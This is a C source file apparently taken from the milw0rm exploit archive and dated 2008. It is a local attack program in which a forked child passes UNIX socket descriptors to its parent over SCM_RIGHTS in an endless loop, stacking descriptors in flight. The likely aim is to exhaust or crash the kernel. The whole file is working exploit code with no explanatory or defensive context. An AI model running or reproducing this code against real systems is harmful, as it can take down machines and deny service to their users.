122 lines
No EOL
2.5 KiB
C
122 lines
No EOL
2.5 KiB
C
#include <sys/socket.h>
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#include <sys/un.h>
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#include <unistd.h>
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#include <assert.h>
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#include <err.h>
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#include <stdlib.h>
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static int own_child(int *us)
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{
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int pid;
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int s[2];
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struct msghdr mh;
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char crap[1024];
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struct iovec iov;
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struct cmsghdr *c;
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int *fd;
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int rc;
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pid = fork();
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if (pid == -1)
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err(1, "fork()");
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if (pid) {
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close(us[1]);
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return pid;
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}
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close(us[0]);
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memset(&mh, 0, sizeof(mh));
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iov.iov_base = "a";
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iov.iov_len = 1;
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mh.msg_iov = &iov;
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mh.msg_iovlen = 1;
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mh.msg_control = crap;
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mh.msg_controllen = sizeof(crap);
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c = CMSG_FIRSTHDR(&mh);
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assert(c);
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c->cmsg_level = SOL_SOCKET;
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c->cmsg_type = SCM_RIGHTS;
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fd = (int*) CMSG_DATA(c);
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assert(fd);
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c->cmsg_len = CMSG_LEN(sizeof(int));
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mh.msg_controllen = c->cmsg_len;
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while (1) {
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if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
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err(1, "socketpair()");
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*fd = s[0];
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rc = sendmsg(us[1], &mh, 0);
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if (rc == -1)
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err(1, "sendmsg()");
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if (rc != iov.iov_len)
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errx(1, "sent short");
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close(s[0]);
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close(us[1]);
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us[1] = s[1];
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}
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}
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static void own(void)
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{
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static int pid;
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static int us[2];
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char crap[1024];
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char morte[1024];
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struct cmsghdr *c;
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int rc;
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struct msghdr mh;
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struct iovec iov;
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int *fds;
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if (!pid) {
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if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
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err(1, "socketpair()");
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pid = own_child(us);
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}
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iov.iov_base = morte;
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iov.iov_len = sizeof(morte);
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memset(&mh, 0, sizeof(mh));
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mh.msg_iov = &iov;
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mh.msg_iovlen = 1;
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mh.msg_control = crap;
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mh.msg_controllen = sizeof(crap);
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rc = recvmsg(us[0], &mh, 0);
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if (rc == -1)
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err(1, "recvmsg()");
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if (rc == 0)
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errx(1, "EOF");
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c = CMSG_FIRSTHDR(&mh);
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assert(c);
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assert(c->cmsg_type == SCM_RIGHTS);
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fds = (int*) CMSG_DATA(c);
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assert(fds);
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close(us[0]);
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us[0] = *fds;
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}
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int main(int argc, char *argv[])
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{
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own();
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exit(0);
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}
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// milw0rm.com [2008-11-11]
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